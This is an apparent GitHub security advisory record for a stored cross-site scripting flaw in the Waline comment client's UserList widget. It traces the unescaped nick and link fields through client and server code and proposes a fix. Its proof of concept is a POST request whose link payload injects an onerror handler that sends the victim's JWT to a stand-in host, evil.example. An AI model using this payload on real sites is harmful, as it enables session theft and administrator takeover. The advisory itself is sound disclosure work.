{"id":"GHSA-7w94-hxwm-gg99","summary":"Waline: UserList stored XSS via unescaped commenter fields","details":"### Summary\n\nThe `@waline/client` `UserList` widget builds its DOM by concatenating server-returned commenter fields directly into `root.innerHTML` with no HTML escaping.\n\nThe commenter `nick` and `link` are stored and returned verbatim by the server (only the comment body is sanitized), and the `link` field is never sent to the spam filter.\n\nSo an unauthenticated visitor who posts a comment with `link = x\"\u003e\u003cimg src=x onerror=...\u003e` achieves stored cross-site scripting that executes, with no interaction, in the browser of every visitor to a page that embeds the UserList widget.\n\n### Details\n\n`packages/client/src/widgets/userList.ts:106-133` builds `root.innerHTML` by concatenating `user.nick` (as element content at :117 and in the `aria-label`/`alt` attributes), `user.link` (in the `\u003ca href\u003e` and as content at :125), `user.avatar`, and `user.label`, all with no escaping. A commenter `link` of `x\"\u003e\u003cimg src=x onerror=...\u003e` breaks out of the `href` attribute and injects a live element.\n\n`packages/client/src/widgets/recentComments.ts:73-78` has the identical unescaped-innerHTML pattern for `comment.nick`/`comment.url`, but it is NOT reachable as shipped: its client `getRecentComment` returns the wrapped `{errno,data}` object without unwrapping `.data`, so the `comments.length \u003e 0` guard is false and the widget renders nothing. The live sink is UserList.\n\nOn the server the fields are never escaped:\n\n- `packages/server/src/logic/comment.js` validates only `url` and `comment` (both as strings); `nick` and `link` have no rule.\n- `packages/server/src/controller/comment.js` postAction stores `nick`/`link`/`url` verbatim (`:98-111`, `add(data)` `:215`), and `getRecentCommentList` (`:647-705`) returns them via `formatCmt`, which never HTML-escapes them.\n- `packages/server/src/controller/user.js:280-300` builds the UserList response for anonymous commenters by reading `{ nick, link }` straight off a comment row.\n\nOnly `comment.comment` is sanitized (`controller/comment.js:55`, markdown-it -\u003e DOMPurify). `nick`, `link`, and `url` are the injection points.\n\nBy default an anonymous comment is stored `status=approved` (`config.js:124` `audit` defaults to false). Akismet ships a built-in `DEFAULT_KEY`, so on a networked default server it is active and spam-filters an `\u003cimg onerror\u003e` in `nick` or the comment body; the `link` field is never sent to Akismet, so it is the robust out-of-the-box injection point. The `nick` field fires when Akismet is disabled or unreachable.\n\n### Proof of concept\n\n1. As an anonymous user, post a comment via `POST /api/comment` with `link` set to the payload:\n\n```\nPOST /api/comment\n{ \"url\": \"/any-post\", \"comment\": \"hi\", \"nick\": \"a\", \"link\": \"x\\\"\u003e\u003cimg src=x onerror=fetch('//evil.example/'+JSON.parse(localStorage.WALINE_USER).token)\u003e\" }\n```\n\n2. On any page that embeds the `UserList` widget, the widget concatenates `link` straight into `root.innerHTML` with no escaping, so `onerror` fires for every visitor with no interaction. The `nick` field is equally injectable but reaches the widget only when Akismet is disabled, since Akismet filters it by default.\n\nThe default comment list (`CommentCard`) is not affected; it renders `nick` through Vue `{{ }}` and normalizes `link` through `isLinkHttp`.\n\n### Impact\n\nArbitrary script in the widget's origin against an anonymous viewer: defacement, redirect, phishing, and CSRF-on-behalf.\n\nWhen a logged-in user or administrator views the widget, the injected script can read the waline JWT (kept in same-origin `localStorage`), escalating to account or administrator takeover.\n\n### Suggested fix\n\nHTML-escape every interpolated user field in both widgets; leave `comment.comment` as is (already server-sanitized).\n\nAdditionally consider routing `url`/`link` through the existing `isLinkHttp` normalization to also block `javascript:` schemes in the click-gated `href`.","aliases":["CVE-2026-64671"],"modified":"2026-12-02T22:45:04.310936481Z","published":"2026-12-02T22:34:40Z","database_specific":{"cwe_ids":["CWE-116","CWE-79"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-12-02T22:34:40Z","nvd_published_at":"2026-11-11T05:19:51Z"},"references":[{"type":"WEB","url":"https://github.com/walinejs/waline/security/advisories/GHSA-7w94-hxwm-gg99"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-64671"},{"type":"PACKAGE","url":"https://github.com/walinejs/waline"},{"type":"WEB","url":"https://github.com/walinejs/waline/blob/de428ed040b8dd6bfc8c40d38c5fbe8bd708ce86/packages/client/src/widgets/userList.ts#L106-L133"},{"type":"WEB","url":"https://github.com/walinejs/waline/blob/main/packages/client/src/widgets/userList.ts"}],"affected":[{"package":{"name":"@waline/client","ecosystem":"npm","purl":"pkg:npm/%40waline/client"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"3.16.3"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/12/GHSA-7w94-hxwm-gg99/GHSA-7w94-hxwm-gg99.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N"}]}